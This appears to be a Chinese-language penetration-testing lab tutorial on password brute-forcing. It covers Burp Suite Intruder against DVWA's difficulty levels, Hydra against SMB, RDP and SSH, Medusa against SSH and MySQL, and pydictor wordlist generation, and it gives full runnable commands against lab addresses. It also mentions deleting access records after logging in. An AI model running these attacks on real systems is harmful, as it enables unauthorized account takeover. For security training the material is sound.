1 暴力破解简介
暴力破解: 蛮力攻击,又称为穷举攻击,或暴力破解,将密码进行逐个尝试验证,直到尝试出真正的密码为止。
暴力破解是指采用反复试错的方法并希望最终猜对,以尝试破解密码或用户名或找到隐藏的网页,或者找到用于加密消息的密钥。
2 利用 Burpsuite 对 Web 应用进行暴力破解
2.1 实验界面
在暴力破解模块中输入用户名 admin,密码随之即可。先不要提交
开启代理
而后在暴力破解页面中提交。
2.2 抓包,点击 Send to intruder
点击 intruder---》Positions,在此界面中点击 Clear 把请求中的所有变量清除掉
我们需要对密码进行攻击,因此选中请求中的密码,点击 Add,把密码添加变量,表示只针对密码进行攻击。
2.3 Burpsuite 的 Intruder 模块
Inturder 模块可以将数据包里指定的参数设置成变量(变量也就是要准备攻击的目标),然后再利用字典文件去替换变量里的值,所以常用于自动化猜测或暴力破解过程中
Sniper 狙击手
攻击类型“Attack type”
Sniper:狙击手,可以指定多个变量同时进行破解,但只设置一个字典文件,将指定的变量挨个用字典内容进行替换。
Battering ram:攻城锤,可以指定多个变量,但仍只设置一个字典文件,将所有的变量一起用字典内容进行替换。
Ptichfork:草叉子,可以指定多个变量,但需要为每个变量分别设置一个字典文件,然后用对应的字典内容对变量同时进行替换。
Cluster bomb:集束炸弹,指定多个变量,并为每个变量分别设置一个字典文件,然后用字典内容组合对变量进行替换。
3载荷类型“Payload type”
Simple list:手动添加字典列表,也可以导入 Burpsuite 自带的字典,或者导入自定义的字典。
Runtime file:只能加载自定义的字典。
Numbers:设定一个数值范围,从范围内依次或随机取值进行测试。
Brute forcer:自己定义字符范围来生成字典文件。
payload type 选择 Runtime file,而指定密码字典并攻击
设置完成后,点击 开始攻击,查看暴力枚举结果:
得到密码:password,登录成功:
2.4 Low 级别
再选择第四种爆破(cluster bomb)的方式;
添加字典,开始字典爆破;
爆破成功
2.5 meduim 级别爆破
和 Low 级别爆破类似;前面的步骤与低级暴力破解步骤是一样的,不同的是,在点击 start attack 后,中级破解速度比初级要慢很多,因为有个 sleep 函数。破解完成之后也是会发现成功破解的字段长度是不同的,这就证明我们破解成功。
payload 选择 pitchfork
添加字典,开始字典爆破;
查看结果
2.6 high 级别爆破
我们查看 php 文件,发现增加了 user_token 参数,所以爆破要选择两个参数来进行。所以,我们这里不仅要爆破密码,还需要爆破用户令牌 user_token。
payload 选择 pitchfork
payload 1
Payload 2 设置为 递归;
线程设置为 1
Options
Grep-extract---add
Refetch reponse
复制 user_token
ok
粘贴到 payload options,开始爆破
爆破成功
3 hydra 工具在线破解密码
Hydra 对应的英文意思是九头蛇,它是一款爆破神器,可以对多种服务的账号和密码进行爆破,包括Web 登录、数据库、SSH、FTP 等服务,支持 Linux、Windows、Mac 平台安装,其中 Kali Linux 中自带 Hydra。
3.1 Hydra 破解 Windows 文件共享密码
在 Windows 系统当中,默认会启动一些文件共享,比如 C$ 或 ADMIN$(管理共享),而这些共
享是使用 smb 协议,因此我可以针对 smb 协议进行破解。
注:开启文件共享
在系统上确认一下是否有开启共享:
net share 命令可以查看 windows 有那些共享
Windows 2012 中开启文件共享之后在 Kali 中扫描 445 端口确保目标主机开启 455 端口
┌──(root㉿xuegod52)-[~] └─# nmap -p- 192.168.1.15
通过 john 工具生成简单的弱口令密码字典
┌──(root㉿xuegod52)-[~]
└─# john --wordlist --rules --stdout > pass.txt
hydra 命令参数:
-l #指定单个用户名称
-L #指定用户名称字典
-p #指定单个密码
-P #指定密码字典
-s #指定端口
-vV #显示详细的执行过程
破解 smb 文件共享密码
┌──(root㉿xuegod52)-[~]
└─# hydra -l administrator -P pass.txt smb://192.168.1.15 -vV
通过密码进行远程访问目标主机共享资源
在物理机或其他 windows 主机中打开运行窗口,开始菜单中点击运行,或者使用快捷键 Win+R \\192.168.1.15\c$
身份认证
发现可以正常访问,尝试一下创建文件或上传文件
删除记录访问的密码认证信息
3.2 Hydra 破解 windows 远程桌面密码
Windows 远程桌面使用的 rdp 协议,默认端口是 3389,系统中默认是没有开启远程桌面服务的,我这里是开启了
暴力破解远程桌面密码
┌──(root㉿xuegod52)-[~/桌面]
└─# hydra -l administrator -P pass.txt rdp://192.168.1.15 -vV
然后,用破解到的密码,在物理机远程桌面进行连接,在运行中输入 mstsc
远程连接成功。
3.3 Hydra 工具破解 ssh 协议密码
使用 hydra 工具进行破解 root 密码
┌──(root㉿xuegod52)-[~/桌面]
└─# hydra -l root -P pass.txt -t 4 ssh://192.168.1.24 -e nsr -vV -t
#通过-t 参数来指定线程数默认是 16 会造成服务器拒绝连接。 -e #-e 表示提供了更多测试选项。nsr 后面的字母对应更多的测试方式。 nsr 参数: n #是尝试空密码登录 s #是将用户名作为密码登录 r #是将用户名反过来作为密码登录。 如:用户名是 root,那么会使用 toor 尝试破解
4 Medusa 工具在线破解密码
4.1 Medusa 简介
在 Kali 中 Medusa 旨在成为一个迅速,大规模并行,模块化,爆破登录。目标支持大部分允许远程
登录的服务。以下是 Medusa 项目一些主要功能:
1、基于线程的并行测试。暴力测试可以同时对多个主机,用户或密码执行。
2、灵活的用户输入。目标信息(主机/用户/密码)可以用多种方式指定。例如,每个项目可以是单个
条目或包含多个条目的文件。另外,组合文件格式允许用户改进其目标列表。
3、模块化设计。每个服务模块都以独立的.mod 文件形式存在。这意味着核心应用程序不需要修改以
扩展支持的暴力服务列表。
官方网站:http://foofus.net/goons/jmk/medusa/medusa.html。
软件下载地址:https://github.com/jmk-foofus/medusa/archive/2.2.tar.gz
用法:Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M
module [OPT]
Medusa [-h 主机| -H 文件] [-u 用户名| -U 文件] [-p 密码| -P 文件] [-C 文件] -M 模块[OPT]
medusa 命令选项:
-h [TEXT] #目标 IP
-H [FILE] #目标主机文件
-u [TEXT] #用户名
-U [FILE] #用户名文件
-p [TEXT] #密码
-P [FILE] #密码文件
-C [FILE] #组合条目文件
-O [FILE] #文件日志信息
-e [n/s/ns] #n 意为空密码,s 意为密码与用户名相同
-M [TEXT] #模块执行名称
-m [TEXT] #传递参数到模块
-d #显示所有的模块名称
-n [NUM] #使用非默认端口
-s #启用 SSL
-r [NUM] #重试间隔时间,默认为 3 秒
-t [NUM] #设定线程数量
-L #并行化,每个用户使用一个线程
-f #在任何主机上找到第一个账号/密码后,停止破解
-q #显示模块的使用信息
-v [NUM] #详细级别(0-6)
-w [NUM] #错误调试级别(0-10)
-V #显示版本
-Z [TEXT] #继续扫描上一次
-F #破解到一个正确的密码即退出
4.2 Medusa 工具破解 linux root 用户登录密码
┌──(root㉿xuegod52)-[~/桌面]
└─# medusa -M ssh -h 192.168.1.24 -e ns -F -u root -P pass.txt
4.3 Medusa 破解 Mysql root 用户登录密码
安装 MySQL:
[root@piloteer120 ~]# yum -y install mariadb-server
启动 MySQL:
[root@piloteer120 ~]# systemctl start mariadb
Mysql 授权 root 用户允许远程登录
[root@piloteer120 ~]# mysql -u root -ppiloteer
MariaDB [(none)]> grant all privileges on *.* to 'root'@'%'identified by 'root' with grant option;
MariaDB [(none)]> exit;
进行暴力破解
root@piloteer101:~# medusa -M mysql -h 192.168.1.24 -e ns -F -u root -P pass.txt
验证远程登录 mysql 数据库
root@piloteer101:~# mysql -uroot -proot -h192.168.1.24
MariaDB [(none)]> show databases;
5 字典工具 pydictor
5.1 pydictor 介绍
Pydictor 是字典构建工具,该工具提供了大量的特性,可以用来为几乎任何测试情况创建完美的字典。
5.2 pydictor 安装
┌──(root㉿xuegod52)-[~/桌面]
└─# git clone https://github.com/LandGrey/pydictor.git
正克隆到 'pydictor'...
remote: Enumerating objects: 1084, done.
remote: Counting objects: 100% (134/134), done.
remote: Compressing objects: 100% (50/50), done.
remote: Total 1084 (delta 89), reused 110 (delta 84), pack-reused 950
接收对象中: 100% (1084/1084), 23.63 MiB | 8.56 MiB/s, 完成.
处理 delta 中: 100% (673/673), 完成.
┌──(root㉿xuegod52)-[~/桌面]
└─# cd pydictor/
┌──(root㉿xuegod52)-[~/桌面/pydictor]
└─# chmod +x pydictor.py
5.3 pydictor 生成字典
pydictor.py 参数说明:
-base 表示密码所使用的字符
-base 类型:
d digital [0 - 9] #数字
L lowercase letters [a - z] #小写字母
c capital letters [A - Z] #大写字母
-o #指定字典存放的位置
案例 1:生成全部由数字组成且长度为 3 到 6 的字典
┌──(root㉿xuegod52)-[~/桌面/pydictor]
└─# python pydictor.py -base d --len 3 6
查看生成的字典:
┌──(root㉿xuegod52)-[~/桌面/pydictor]
└─#vim results/base_210756.txt
案例 2:使用数字、小写字母与大写字母 3 者组合的 2 到 3 位数的爆破字典,并把生成的字典存放在/opt/ pass1.txt
┌──(root㉿xuegod52)-[~/桌面/pydictor]
└─#python pydictor.py -base dLc --len 2 3 -o /opt/pass1.txt
案例 3:使用特殊字符的自定义字符集字典
┌──(root㉿xuegod52)-[~/桌面/pydictor]
└─#python pydictor.py -char '!@#$%^&*()_+* 0123456789' --len 3 5
案例 4:生成以 piloteer 开头,后面 4 位全为数字的字典
┌──(root㉿xuegod52)-[~/桌面/pydictor]
└─#python pydictor.py -base d --len 4 4 --head piloteer -o /opt/pass3.txt
案例 5:将一个目录下多个字典合并去掉重复的记录
┌──(root㉿xuegod52)-[~/桌面/pydictor]
└─# mkdir /tmp/pass
└─# python pydictor.py -base d --len 1 2 -o /tmp/pass/1.txt
└─# python pydictor.py -base d --len 1 3 -o /tmp/pass/2.txt
└─# echo 666666 >> /tmp/pass/1.txt
└─# python pydictor.py -tool uniqbiner /tmp/pass/ #开始合并
└─# vim /root/pydictor/results/uniqbiner_220300.txt
注:生成字典是非常耗时的一项工作,通常需要耗费数个小时。密码复杂度越高字典就越大耗时也会成倍的增加。
pydictor 字典工具拓展资料可参考:
pydictor/docs/doc/usage.md at master · LandGrey/pydictor · GitHub